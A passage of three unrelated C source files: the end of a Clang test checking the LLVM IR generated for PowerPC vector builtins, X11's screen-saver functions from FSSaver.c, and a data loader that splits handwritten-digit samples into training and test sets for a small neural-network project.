CHECK-LE: and <2 x i64> res_vsll = vec_and(vbll, vsll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vsll = vec_and(vsll, vbll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_and(vull, vull); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_and(vbll, vull); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_and(vull, vbll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vbll = vec_and(vbll, vbll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> /* vec_vand */ res_vsll = vec_vand(vsll, vsll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vsll = vec_vand(vbll, vsll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vsll = vec_vand(vsll, vbll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_vand(vull, vull); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_vand(vbll, vull); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_vand(vull, vbll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> res_vbll = vec_vand(vbll, vbll); // CHECK: and <2 x i64> // CHECK-LE: and <2 x i64> /* vec_andc */ res_vsll = vec_andc(vsll, vsll); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vsll = vec_andc(vbll, vsll); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vsll = vec_andc(vsll, vbll); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_andc(vull, vull); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_andc(vbll, vull); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vull = vec_andc(vull, vbll); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vbll = vec_andc(vbll, vbll); // CHECK: xor <2 x i64> // CHECK: and <2 x i64> // CHECK-LE: xor <2 x i64> // CHECK-LE: and <2 x i64> res_vf = vec_floor(vf); // CHECK: call <4 x float> @llvm.floor.v4f32(<4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.floor.v4f32(<4 x float> %{{[0-9]+}}) res_vd = vec_floor(vd); // CHECK: call <2 x double> @llvm.floor.v2f64(<2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.floor.v2f64(<2 x double> %{{[0-9]+}}) res_vf = vec_madd(vf, vf, vf); // CHECK: call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}) res_vd = vec_madd(vd, vd, vd); // CHECK: call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}) /* vec_mergeh */ res_vsll = vec_mergeh(vsll, vsll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vsll = vec_mergeh(vsll, vbll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vsll = vec_mergeh(vbll, vsll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_mergeh(vull, vull); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_mergeh(vull, vbll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_mergeh(vbll, vull); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm /* vec_mergel */ res_vsll = vec_mergel(vsll, vsll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vsll = vec_mergel(vsll, vbll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vsll = vec_mergel(vbll, vsll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_mergel(vull, vull); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_mergel(vull, vbll); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm res_vull = vec_mergel(vbll, vull); // CHECK: @llvm.ppc.altivec.vperm // CHECK-LE: @llvm.ppc.altivec.vperm /* vec_msub */ res_vf = vec_msub(vf, vf, vf); // CHECK: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %{{[0-9]+}} // CHECK-NEXT: call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> // CHECK-LE: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %{{[0-9]+}} // CHECK-LE-NEXT: call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> res_vd = vec_msub(vd, vd, vd); // CHECK: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %{{[0-9]+}} // CHECK-NEXT: call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> // CHECK-LE: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %{{[0-9]+}} // CHECK-LE-NEXT: call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> res_vsll = vec_mul(vsll, vsll); // CHECK: mul <2 x i64> // CHECK-LE: mul <2 x i64> res_vull = vec_mul(vull, vull); // CHECK: mul <2 x i64> // CHECK-LE: mul <2 x i64> res_vf = vec_mul(vf, vf); // CHECK: fmul <4 x float> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: fmul <4 x float> %{{[0-9]+}}, %{{[0-9]+}} res_vd = vec_mul(vd, vd); // CHECK: fmul <2 x double> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: fmul <2 x double> %{{[0-9]+}}, %{{[0-9]+}} res_vf = vec_nearbyint(vf); // CHECK: call <4 x float> @llvm.round.v4f32(<4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.round.v4f32(<4 x float> %{{[0-9]+}}) res_vd = vec_nearbyint(vd); // CHECK: call <2 x double> @llvm.round.v2f64(<2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.round.v2f64(<2 x double> %{{[0-9]+}}) res_vf = vec_nmadd(vf, vf, vf); // CHECK: [[FM:[0-9]+]] = call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}) // CHECK-NEXT: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %[[FM]] // CHECK-LE: [[FM:[0-9]+]] = call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}) // CHECK-LE-NEXT: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %[[FM]] res_vd = vec_nmadd(vd, vd, vd); // CHECK: [[FM:[0-9]+]] = call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}) // CHECK-NEXT: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %[[FM]] // CHECK-LE: [[FM:[0-9]+]] = call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}) // CHECK-LE-NEXT: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %[[FM]] res_vf = vec_nmsub(vf, vf, vf); // CHECK: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %{{[0-9]+}} // CHECK-NEXT: call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> // CHECK: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %{{[0-9]+}} // CHECK-LE: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %{{[0-9]+}} // CHECK-LE-NEXT: call <4 x float> @llvm.fma.v4f32(<4 x float> %{{[0-9]+}}, <4 x float> %{{[0-9]+}}, <4 x float> // CHECK-LE: fsub <4 x float> <float -0.000000e+00, float -0.000000e+00, float -0.000000e+00, float -0.000000e+00>, %{{[0-9]+}} res_vd = vec_nmsub(vd, vd, vd); // CHECK: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %{{[0-9]+}} // CHECK-NEXT: [[FM:[0-9]+]] = call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> // CHECK-NEXT: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %[[FM]] // CHECK-LE: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %{{[0-9]+}} // CHECK-LE-NEXT: [[FM:[0-9]+]] = call <2 x double> @llvm.fma.v2f64(<2 x double> %{{[0-9]+}}, <2 x double> %{{[0-9]+}}, <2 x double> // CHECK-LE-NEXT: fsub <2 x double> <double -0.000000e+00, double -0.000000e+00>, %[[FM]] /* vec_nor */ res_vsll = vec_nor(vsll, vsll); // CHECK: or <2 x i64> // CHECK: xor <2 x i64> // CHECK-LE: or <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_nor(vull, vull); // CHECK: or <2 x i64> // CHECK: xor <2 x i64> // CHECK-LE: or <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_nor(vbll, vbll); // CHECK: or <2 x i64> // CHECK: xor <2 x i64> // CHECK-LE: or <2 x i64> // CHECK-LE: xor <2 x i64> res_vd = vec_nor(vd, vd); // CHECK: bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK: [[OR:%.+]] = or <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-NEXT: xor <2 x i64> [[OR]], <i64 -1, i64 -1> // CHECK-LE: bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK-LE: [[OR:%.+]] = or <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE-NEXT: xor <2 x i64> [[OR]], <i64 -1, i64 -1> /* vec_or */ res_vsll = vec_or(vsll, vsll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vsll = vec_or(vbll, vsll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vsll = vec_or(vsll, vbll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vull = vec_or(vull, vull); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vull = vec_or(vbll, vull); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vull = vec_or(vull, vbll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vbll = vec_or(vbll, vbll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vd = vec_or(vd, vd); // CHECK: bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK: or <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK-LE: or <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} res_vd = vec_or(vbll, vd); // CHECK: [[T1:%.+]] = bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK: [[T2:%.+]] = or <2 x i64> %{{[0-9]+}}, [[T1]] // CHECK: bitcast <2 x i64> [[T2]] to <2 x double> // CHECK-LE: [[T1:%.+]] = bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK-LE: [[T2:%.+]] = or <2 x i64> %{{[0-9]+}}, [[T1]] // CHECK-LE: bitcast <2 x i64> [[T2]] to <2 x double> res_vd = vec_or(vd, vbll); // CHECK: [[T1:%.+]] = bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK: [[T2:%.+]] = or <2 x i64> [[T1]], %{{[0-9]+}} // CHECK: bitcast <2 x i64> [[T2]] to <2 x double> // CHECK-LE: [[T1:%.+]] = bitcast <2 x double> %{{[0-9]+}} to <2 x i64> // CHECK-LE: [[T2:%.+]] = or <2 x i64> [[T1]], %{{[0-9]+}} // CHECK-LE: bitcast <2 x i64> [[T2]] to <2 x double> res_vf = vec_re(vf); // CHECK: call <4 x float> @llvm.ppc.vsx.xvresp(<4 x float> // CHECK-LE: call <4 x float> @llvm.ppc.vsx.xvresp(<4 x float> res_vd = vec_re(vd); // CHECK: call <2 x double> @llvm.ppc.vsx.xvredp(<2 x double> // CHECK-LE: call <2 x double> @llvm.ppc.vsx.xvredp(<2 x double> res_vf = vec_rint(vf); // CHECK: call <4 x float> @llvm.nearbyint.v4f32(<4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.nearbyint.v4f32(<4 x float> %{{[0-9]+}}) res_vd = vec_rint(vd); // CHECK: call <2 x double> @llvm.nearbyint.v2f64(<2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.nearbyint.v2f64(<2 x double> %{{[0-9]+}}) res_vf = vec_rsqrte(vf); // CHECK: call <4 x float> @llvm.ppc.vsx.xvrsqrtesp(<4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.ppc.vsx.xvrsqrtesp(<4 x float> %{{[0-9]+}}) res_vd = vec_rsqrte(vd); // CHECK: call <2 x double> @llvm.ppc.vsx.xvrsqrtedp(<2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.ppc.vsx.xvrsqrtedp(<2 x double> %{{[0-9]+}}) dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vf = vec_sel(vd, vd, vbll); // CHECK: xor <2 x i64> %{{[0-9]+}}, <i64 -1, i64 -1> // CHECK: and <2 x i64> %{{[0-9]+}}, // CHECK: and <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK: or <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]+}} to <2 x double> // CHECK-LE: xor <2 x i64> %{{[0-9]+}}, <i64 -1, i64 -1> // CHECK-LE: and <2 x i64> %{{[0-9]+}}, // CHECK-LE: and <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: or <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]+}} to <2 x double> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_sel(vd, vd, vull); // CHECK: xor <2 x i64> %{{[0-9]+}}, <i64 -1, i64 -1> // CHECK: and <2 x i64> %{{[0-9]+}}, // CHECK: and <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK: or <2 x i64> // CHECK: bitcast <2 x i64> %{{[0-9]+}} to <2 x double> // CHECK-LE: xor <2 x i64> %{{[0-9]+}}, <i64 -1, i64 -1> // CHECK-LE: and <2 x i64> %{{[0-9]+}}, // CHECK-LE: and <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: or <2 x i64> // CHECK-LE: bitcast <2 x i64> %{{[0-9]+}} to <2 x double> res_vf = vec_sqrt(vf); // CHECK: call <4 x float> @llvm.sqrt.v4f32(<4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.sqrt.v4f32(<4 x float> %{{[0-9]+}}) res_vd = vec_sqrt(vd); // CHECK: call <2 x double> @llvm.sqrt.v2f64(<2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.sqrt.v2f64(<2 x double> %{{[0-9]+}}) res_vd = vec_sub(vd, vd); // CHECK: fsub <2 x double> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: fsub <2 x double> %{{[0-9]+}}, %{{[0-9]+}} res_vf = vec_trunc(vf); // CHECK: call <4 x float> @llvm.trunc.v4f32(<4 x float> %{{[0-9]+}}) // CHECK-LE: call <4 x float> @llvm.trunc.v4f32(<4 x float> %{{[0-9]+}}) res_vd = vec_trunc(vd); // CHECK: call <2 x double> @llvm.trunc.v2f64(<2 x double> %{{[0-9]+}}) // CHECK-LE: call <2 x double> @llvm.trunc.v2f64(<2 x double> %{{[0-9]+}}) /* vec_vor */ res_vsll = vec_vor(vsll, vsll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vsll = vec_vor(vbll, vsll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vsll = vec_vor(vsll, vbll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vull = vec_vor(vull, vull); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vull = vec_vor(vbll, vull); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vull = vec_vor(vull, vbll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> res_vbll = vec_vor(vbll, vbll); // CHECK: or <2 x i64> // CHECK-LE: or <2 x i64> /* vec_xor */ res_vsll = vec_xor(vsll, vsll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vsll = vec_xor(vbll, vsll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vsll = vec_xor(vsll, vbll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_xor(vull, vull); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_xor(vbll, vull); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_xor(vull, vbll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vbll = vec_xor(vbll, vbll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_xor(vd, vd); // CHECK: [[X1:%.+]] = xor <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK: bitcast <2 x i64> [[X1]] to <2 x double> // CHECK-LE: [[X1:%.+]] = xor <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: bitcast <2 x i64> [[X1]] to <2 x double> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_xor(vd, vbll); // CHECK: [[X1:%.+]] = xor <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK: bitcast <2 x i64> [[X1]] to <2 x double> // CHECK-LE: [[X1:%.+]] = xor <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: bitcast <2 x i64> [[X1]] to <2 x double> dummy(); // CHECK: call void @dummy() // CHECK-LE: call void @dummy() res_vd = vec_xor(vbll, vd); // CHECK: [[X1:%.+]] = xor <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK: bitcast <2 x i64> [[X1]] to <2 x double> // CHECK-LE: [[X1:%.+]] = xor <2 x i64> %{{[0-9]+}}, %{{[0-9]+}} // CHECK-LE: bitcast <2 x i64> [[X1]] to <2 x double> /* vec_vxor */ res_vsll = vec_vxor(vsll, vsll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vsll = vec_vxor(vbll, vsll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vsll = vec_vxor(vsll, vbll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_vxor(vull, vull); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_vxor(vbll, vull); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vull = vec_vxor(vull, vbll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vbll = vec_vxor(vbll, vbll); // CHECK: xor <2 x i64> // CHECK-LE: xor <2 x i64> res_vsll = vec_cts(vd, 0); // CHECK: fmul <2 x double> // CHECK: fptosi <2 x double> %{{.*}} to <2 x i64> // CHECK-LE: fmul <2 x double> // CHECK-LE: fptosi <2 x double> %{{.*}} to <2 x i64> res_vsll = vec_cts(vd, 31); // CHECK: fmul <2 x double> // CHECK: fptosi <2 x double> %{{.*}} to <2 x i64> // CHECK-LE: fmul <2 x double> // CHECK-LE: fptosi <2 x double> %{{.*}} to <2 x i64> res_vsll = vec_ctu(vd, 0); // CHECK: fmul <2 x double> // CHECK: fptoui <2 x double> %{{.*}} to <2 x i64> // CHECK-LE: fmul <2 x double> // CHECK-LE: fptoui <2 x double> %{{.*}} to <2 x i64> res_vsll = vec_ctu(vd, 31); // CHECK: fmul <2 x double> // CHECK: fptoui <2 x double> %{{.*}} to <2 x i64> // CHECK-LE: fmul <2 x double> // CHECK-LE: fptoui <2 x double> %{{.*}} to <2 x i64> res_vd = vec_ctf(vsll, 0); // CHECK: sitofp <2 x i64> %{{.*}} to <2 x double> // CHECK: fmul <2 x double> // CHECK-LE: sitofp <2 x i64> %{{.*}} to <2 x double> // CHECK-LE: fmul <2 x double> res_vd = vec_ctf(vsll, 31); // CHECK: sitofp <2 x i64> %{{.*}} to <2 x double> // CHECK: fmul <2 x double> // CHECK-LE: sitofp <2 x i64> %{{.*}} to <2 x double> // CHECK-LE: fmul <2 x double> res_vd = vec_ctf(vull, 0); // CHECK: uitofp <2 x i64> %{{.*}} to <2 x double> // CHECK: fmul <2 x double> // CHECK-LE: uitofp <2 x i64> %{{.*}} to <2 x double> // CHECK-LE: fmul <2 x double> res_vd = vec_ctf(vull, 31); // CHECK: uitofp <2 x i64> %{{.*}} to <2 x double> // CHECK: fmul <2 x double> // CHECK-LE: uitofp <2 x i64> %{{.*}} to <2 x double> // CHECK-LE: fmul <2 x double> }
602971.c
/* Copyright 1987, 1998 The Open Group Permission to use, copy, modify, distribute, and sell this software and its documentation for any purpose is hereby granted without fee, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name of The Open Group shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from The Open Group. */ /* $XFree86: xc/lib/X11/FSSaver.c,v 1.5 2006/01/09 14:58:26 dawes Exp $ */ #include "Xlibint.h" int XActivateScreenSaver(dpy) register Display *dpy; { XForceScreenSaver (dpy, ScreenSaverActive); return 1; } int XResetScreenSaver(dpy) register Display *dpy; { XForceScreenSaver (dpy, ScreenSaverReset); return 1; } int XForceScreenSaver(dpy, mode) register Display *dpy; int mode; { register xForceScreenSaverReq *req; LockDisplay(dpy); GetReq(ForceScreenSaver, req); req->mode = mode; UnlockDisplay(dpy); SyncHandle(); return 1; }
978719.c
/** Copyright © 2022 Oleh Ihorovych Novosad */ #include "../../lu_brain/lib/vendor/CException.c" #include "../../lu_brain/lib/_module.c" /////////////////////////////////////////////////////////////////////////////// // Smn_Digit void smn_digit_print(Smn_Digit self) { size_t x; size_t y; lu_value val; char* type_string; switch(self->type) { case SD_NONE: type_string = "SD_NONE"; break; case SD_SELECTED_FOR_TEST: type_string = "SD_SELECTED_FOR_TEST"; break; case SD_SELECTED_FOR_TRAINING: type_string = "SD_SELECTED_FOR_TRAINING"; break; default: type_string = "UNKNOWN"; } printf("\n--------------------------------------------------"); printf("\nDigit: %d, type: %s, id: %lu\n\n", self->name, type_string, self->id); for(y = 0; y < SMN_DIGIT_H; y++) { for(x = 0; x < SMN_DIGIT_W; x++) { val = self->pixels[y * SMN_DIGIT_W + x]; if (val > 0) printf("X"); else printf(" "); } printf("\n"); } printf("\n--------------------------------------------------\n"); } /////////////////////////////////////////////////////////////////////////////// // Smn_Groups struct smn_group smn_groups[SMN_DIGIT_VALUE_COUNT]; void smn_groups_init() { size_t i; Smn_Group group; for (i = 0; i < SMN_DIGIT_VALUE_COUNT; i++) { group = &smn_groups[i]; group->name = i; group->size = 0; group->count = 0; group->data = NULL; group->training_size = 0; group->test_size = 0; } } void smn_groups_data_alloc() { size_t i; Smn_Group group; for (i = 0; i < SMN_DIGIT_VALUE_COUNT; i++) { group = &smn_groups[i]; if (group->size) { group->data = (Smn_Digit*) calloc(group->size, sizeof(Smn_Digit)); } } } void smn_groups_data_fill() { Smn_Digit digit; Smn_Group group; size_t i; for (i = 0; i < smn_data_count; i++) { digit = &smn_data[i]; group = &smn_groups[digit->name]; group->data[group->count] = digit; ++group->count; if (group->count > group->size) { printf("\nSomething went wrong!!"); break; } } } void smn_groups_data_free() { size_t i; Smn_Group group; for (i = 0; i < SMN_DIGIT_VALUE_COUNT; i++) { group = &smn_groups[i]; if (group->data) { free(group->data); } } } /////////////////////////////////////////////////////////////////////////////// // Smn_Data Smn_Digit smn_data = NULL; size_t smn_data_count = 0; Smn_Digit* smn_training_samples = NULL; size_t smn_training_samples_count = 0; Smn_Digit* smn_test_samples = NULL; size_t smn_test_samples_count = 0; void smn_data_load() { FILE * fp; char * line = NULL; size_t len = 0; ssize_t read; fp = fopen(SMN_FILE_NAME, "r"); if (fp == NULL) { printf("\nCould not open file %s", SMN_FILE_NAME); exit(EXIT_FAILURE); } while ((read = getline(&line, &len, fp)) != -1) { ++smn_data_count; } printf("\nLoading %lu samples..", smn_data_count); rewind(fp); smn_data = (Smn_Digit) calloc(smn_data_count, sizeof(struct smn_digit)); Smn_Digit digit; Smn_Group group; float val_f; int val_i; size_t i; size_t j; size_t non_zero_ix; for (i = 0; i < smn_data_count; i++) { digit = &smn_data[i]; digit->id = i; for (j = 0; j < SMN_DIGIT_PIXEL_COUNT; j++) { read = fscanf(fp, "%f", &val_f); if (read == -1) goto exit; digit->pixels[j] = val_f; } non_zero_ix = 100; for (j = 0; j < SMN_DIGIT_VALUE_COUNT; j++) { read = fscanf(fp, "%d", &val_i); if (read == -1) goto exit; if (val_i != 0) non_zero_ix = j; } digit->name = non_zero_ix; digit->type = SD_NONE; if (digit->name >= SMN_DIGIT_VALUE_COUNT) { printf("\ndigit->name >= SMN_DIGIT_VALUE_COUNT!!!\n"); goto exit; } group = &smn_groups[digit->name]; ++group->size; } exit: fclose(fp); if (line) free(line); } void smn_data_free() { if (smn_data) free(smn_data); } void smn_data_samples_create() { smn_user_assert_void(SMN_TRAINING_SAMPLES_PERCENT < 0.99 && SMN_TRAINING_SAMPLES_PERCENT >= 0.3, "SMN_TRAINING_SAMPLES_PERCENT in bad range"); smn_training_samples_count = 0; smn_test_samples_count = 0; size_t i; Smn_Group group; for (i = 0; i < SMN_DIGIT_VALUE_COUNT; i++) { group = &smn_groups[i]; group->training_size = group->count * SMN_TRAINING_SAMPLES_PERCENT; group->test_size = group->count - group->training_size; smn_training_samples_count += group->training_size; smn_test_samples_count += group->test_size; printf("\n %d: test(%lu), training(%lu), total(%lu)", group->name, group->test_size, group->training_size, group->count); } smn_test_samples = (Smn_Digit*) calloc(smn_test_samples_count, sizeof(Smn_Digit)); smn_user_assert_void(smn_test_samples, "Cannot allocate smn_test_samples"); smn_training_samples = (Smn_Digit*) calloc(smn_training_samples_count, sizeof(Smn_Digit)); smn_user_assert_void(smn_training_samples, "Cannot allocate smn_training_samples"); size_t j; Smn_Digit d; size_t test_count = 0; size_t training_count = 0; for (i = 0; i < SMN_DIGIT_VALUE_COUNT; i++) { group = &smn_groups[i]; j = 0; while (j < group->test_size) { d = group->data[rand_in_range(0, (int) group->count - 1)]; smn_user_assert_void(d, "d is NULL"); if (d->type == SD_NONE) { d->type = SD_SELECTED_FOR_TEST; smn_test_samples[test_count] = d; ++test_count; ++j; } } } smn_user_assert_void(test_count == smn_test_samples_count, "Sanity check failed: test_count == smn_test_samples_count"); printf("\nSelected %lu random test samples", smn_test_samples_count); for (i = 0; i < SMN_DIGIT_VALUE_COUNT; i++) { group = &smn_groups[i]; for (j = 0; j < group->count; j++) { d = group->data[j]; if (d->type == SD_NONE) { d->type = SD_SELECTED_FOR_TRAINING; smn_training_samples[training_count] = d; ++training_count; } } } smn_user_assert_void(training_count == smn_training_samples_count, "Sanity check failed: training_count == smn_training_samples_count"); printf("\nSelected %lu random training samples", smn_training_samples_count); } void smn_data_samples_free() { if (smn_test_samples) free(smn_test_samples); 